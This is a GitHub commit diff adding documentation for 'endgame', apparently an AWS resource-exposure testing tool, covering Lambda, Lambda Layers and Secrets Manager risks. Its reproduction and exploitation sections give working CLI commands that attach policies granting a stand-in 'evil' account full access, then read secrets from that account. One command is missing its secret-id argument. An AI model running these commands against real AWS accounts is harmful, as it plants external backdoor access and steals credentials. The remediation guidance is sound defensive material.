Skip to content

Commit 8988995

Browse files
committed
Add Secrets Manager documentation
1 parent 4f60e96 commit 8988995

File tree

3 files changed

+134
-6
lines changed

3 files changed

+134
-6
lines changed

docs/risks/lambda-layers.md

+27
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
# Lambda Layers
2+
3+
## Steps to Reproduce
4+
5+
## Example
6+
7+
## Exploitation
8+
9+
## Remediation
10+
11+
* **Trusted Accounts Only**: Ensure that Lambda Layers are only shared with trusted accounts.
12+
* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.
13+
* **AWS Access Analyzer**: Leverage AWS Access Analyzer to report on external access to Lambda Layers. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-lambda) for more details.
14+
* **Restrict access to IAM permissions that could expose your Lambda Layers**: Tightly control access to the following IAM actions:
15+
- [lambda:AddLayerVersionPermission](https://docs.aws.amazon.com/lambda/latest/dg/API_AddLayerVersionPermission.html): _Grants permission to add permissions to the resource-based policy of a version of an AWS Lambda layer_
16+
- [lambda:GetLayerVersionPolicy](https://docs.aws.amazon.com/lambda/latest/dg/API_GetLayerVersionPolicy.html): _Grants permission to view the resource-based policy for a version of an AWS Lambda layer_
17+
- [lambda:ListFunctions](https://docs.aws.amazon.com/lambda/latest/dg/API_ListFunctions.html): _Grants permission to retrieve a list of AWS Lambda functions, with the version-specific configuration of each function_
18+
- [lambda:ListLayers](https://docs.aws.amazon.com/lambda/latest/dg/API_ListLayers.html): _Grants permission to retrieve a list of AWS Lambda layers, with details about the latest version of each layer_
19+
- [lambda:ListLayerVersions](https://docs.aws.amazon.com/lambda/latest/dg/API_ListLayerVersions.html): _Grants permission to retrieve a list of versions of an AWS Lambda layer_
20+
- [lambda:RemoveLayerVersionPermission](https://docs.aws.amazon.com/lambda/latest/dg/API_RemoveLayerVersionPermission.html): _Grants permission to remove a statement from the permissions policy for a version of an AWS Lambda layer_
21+
22+
Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)
23+
24+
## References
25+
26+
* [aws lambda add-layer-version-permission](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/add-layer-version-permission.html)
27+
* [Access Analyzer support for AWS Lambda Functions](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-lambda)

docs/risks/lambda.md

+15-5
Original file line numberDiff line numberDiff line change
@@ -8,17 +8,19 @@ Existing Exploitation tools such as [Pacu](https://github.com/RhinoSecurityLabs/
88

99
## Steps to Reproduce
1010

11-
* **Option 1**: To expose the Lambda function using `endgame`:
11+
* **Option 1**: To expose the Lambda function using `endgame`, run the following from the victim account:
1212

1313
```bash
1414
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
15+
1516
endgame expose --service lambda --name test-resource-exposure
1617
```
1718

18-
* **Option 2**: To expose the Lambda Function using AWS CLI:
19+
* **Option 2**: To expose the Lambda Function using AWS CLI, run the following from the victim account:
1920

2021
```bash
2122
export EVIL_PRINCIPAL_ACCOUNT=999988887777
23+
2224
aws lambda add-permission \
2325
--function-name test-resource-exposure \
2426
--action lambda:* \
@@ -77,11 +79,19 @@ aws lambda invoke --function-name $VICTIM_LAMBDA
7779

7880
## Remediation
7981

80-
* Ensure that cross-account Lambda functions allow access only to trusted accounts to prevent unknown function invocation requests
81-
* Leverage AWS Access Analyzer to report on external access to Lambda Functions. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-lambda) for more details.
82+
* **Trusted Accounts Only**: Ensure that cross-account Lambda functions allow access only to trusted accounts to prevent unknown function invocation requests
83+
* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.
84+
* **AWS Access Analyzer**: Leverage AWS Access Analyzer to report on external access to Lambda Functions. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-lambda) for more details.
85+
* **Restrict access to IAM permissions that could expose your Lambda Functions**: Tightly control access to the following IAM actions:
86+
- [lambda:AddPermission](https://docs.aws.amazon.com/lambda/latest/dg/API_AddPermission.html): _Grants permission to give an AWS service or another account permission to use an AWS Lambda function_
87+
- [lambda:GetPolicy](https://docs.aws.amazon.com/lambda/latest/dg/API_GetPolicy.html): _Grants permission to view the resource-based policy for an AWS Lambda function, version, or alias_
88+
- [lambda:InvokeFunction](https://docs.aws.amazon.com/lambda/latest/dg/API_Invoke.html): _Grants permission to invoke an AWS Lambda function_
89+
- [lambda:ListFunctions](https://docs.aws.amazon.com/lambda/latest/dg/API_ListFunctions.html): _Grants permission to retrieve a list of AWS Lambda functions, with the version-specific configuration of each function_
90+
- [lambda:RemovePermission](https://docs.aws.amazon.com/lambda/latest/dg/API_RemovePermission.html): _Grants permission to revoke function-use permission from an AWS service or another account_
8291

92+
Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)
8393

8494
## References
8595

86-
* [add-permission](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/add-permission.html)
96+
* [aws lambda add-permission](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/add-permission.html)
8797
* [Access Analyzer support for AWS Lambda Functions](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-lambda)

docs/risks/secretsmanager.md

+92-1
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,97 @@
11
# Secrets Manager
22

3+
## Steps to Reproduce
4+
5+
* **Option 1**: To expose the resource using `endgame`, run the following from the victim account:
6+
7+
```bash
8+
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
9+
10+
endgame expose --service secretsmanager --name test-resource-exposure
11+
```
12+
13+
* **Option 2**: To expose the resource using AWS CLI, run the following from the victim account:
14+
15+
```bash
16+
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
17+
export VICTIM_RESOURCE=arn:aws:secretsmanager:us-east-1:111122223333:secret/test-resource-exposure
18+
export EVIL_POLICY='{"Version": "2012-10-17", "Statement": [{"Sid": "AllowCurrentAccount", "Effect": "Allow", "Principal": {"AWS": "arn:aws:iam::999988887777:user/evil"}, "Action": "secretsmanager:*", "Resource": ["arn:aws:secretsmanager:us-east-1:111122223333:secret/test-resource-exposure"]}]}'
19+
20+
aws secretsmanager put-resource-policy --secret-id --resource-policy $EVIL_POLICY
21+
```
22+
23+
* To view the contents of the exposed resource policy, run the following:
24+
25+
```bash
26+
aws secretsmanager get-resource-policy --secret-id test-resource-exposure
27+
```
28+
29+
* Observe that the contents of the exposed resource policy match the example shown below.
30+
31+
## Example
32+
33+
```json
34+
{
35+
"Version": "2012-10-17",
36+
"Statement": [
37+
{
38+
"Sid": "Endgame",
39+
"Effect": "Allow",
40+
"Principal": {
41+
"AWS": "arn:aws:iam::999988887777:user/evil"
42+
},
43+
"Action": "secretsmanager:*",
44+
"Resource": [
45+
"arn:aws:secretsmanager:us-east-1:111122223333:secret/test-resource-exposure"
46+
]
47+
}
48+
]
49+
}
50+
```
51+
52+
## Exploitation
53+
54+
* Authenticate to the `evil` account (In this example, `arn:aws:iam::999988887777:user/evil`)
55+
56+
* Run the following command in the victim account:
57+
58+
```bash
59+
export VICTIM_RESOURCE=arn:aws:secretsmanager:us-east-1:111122223333:secret/test-resource-exposure
60+
61+
aws secretsmanager get-secret-value --secret-id $VICTIM_RESOURCE
62+
```
63+
64+
* Observe that the output resembles the following:
65+
66+
```json
67+
{
68+
"ARN": "arn:aws:secretsmanager:us-east-1:111122223333:secret/test-resource-exposure",
69+
"Name": "test-resource-exposure",
70+
"VersionId": "DOGECOIN",
71+
"SecretString": "{\n \"username\":\"doge\",\n \"password\":\"coin\"\n}\n",
72+
"VersionStages": [
73+
"AWSCURRENT"
74+
],
75+
"CreatedDate": 1523477145.713
76+
}
77+
```
78+
79+
## Remediation
80+
81+
* **Trusted Accounts Only**: Ensure that Secrets Manager secrets are only shared with trusted accounts, and that the trusted accounts truly need access to the secret.
82+
* **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary.
83+
* **AWS Access Analyzer**: Leverage AWS Access Analyzer to report on external access to Secrets Manager secrets. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-secrets-manager) for more details.
84+
* **Restrict access to IAM permissions that could expose your Secrets**: Tightly control access to the following IAM actions:
85+
- [secretsmanager:GetResourcePolicy](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetResourcePolicy.html): _Enables the user to get the resource policy attached to a secret._
86+
- [secretsmanager:GetSecretValue](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html): _Enables the user to retrieve and decrypt the encrypted data._
87+
- [secretsmanager:DeleteResourcePolicy](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_DeleteResourcePolicy.html): _Enables the user to delete the resource policy attached to a secret._
88+
- [secretsmanager:ListSecrets](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_ListSecrets.html): _Enables the user to list the available secrets._
89+
- [secretsmanager:PutResourcePolicy](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_PutResourcePolicy.html): _Enables the user to attach a resource policy to a secret._
90+
91+
Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)
392

493
## References
594

6-
* [put-resource-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/secretsmanager/put-resource-policy.html)
95+
* [aws secretsmanager get-resource-policy](https://docs.aws.amazon.com/cli/latest/reference/secretsmanager/get-resource-policy.html)
96+
* [aws secretsmanager get-secret-value](https://docs.aws.amazon.com/cli/latest/reference/secretsmanager/get-secret-value.html)
97+
* [aws secretsmanager put-resource-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/secretsmanager/put-resource-policy.html)

0 commit comments

Comments
 (0)